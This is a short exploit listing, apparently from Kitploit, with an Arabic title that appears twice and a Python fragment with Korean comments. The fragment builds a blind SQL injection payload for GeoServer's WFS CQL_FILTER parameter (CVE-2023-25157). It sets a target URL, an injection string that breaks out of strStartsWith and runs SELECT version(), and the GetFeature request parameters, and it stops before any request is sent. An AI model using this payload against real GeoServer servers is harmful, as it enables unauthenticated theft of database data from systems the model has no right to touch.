geoserver-CVE-2023-25157 — إثبات مفهوم لاستغلال CVE-2023-25157، وهي ثغرة حقن SQL أعمى في معامل CQL_FILTER الخاص بـ WFS في GeoServer، مما يتيح استخراج البيانات دون مصادقة. | Kitploit

geoserver-CVE-2023-25157 — إثبات مفهوم لاستغلال CVE-2023-25157، وهي ثغرة حقن SQL أعمى في معامل CQL_FILTER الخاص بـ WFS في GeoServer، مما يتيح استخراج البيانات دون مصادقة. | Kitploit

# 대상 URL
url = "http://localhost:8080/geoserver/ows"

# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"

# 파라미터 설정
params = {
    "service": "wfs",
    "version": "1.0.0",
    "request": "GetFeature",
    "typeName": "vulhub:example",
    "CQL_FILTER": cql_filter
}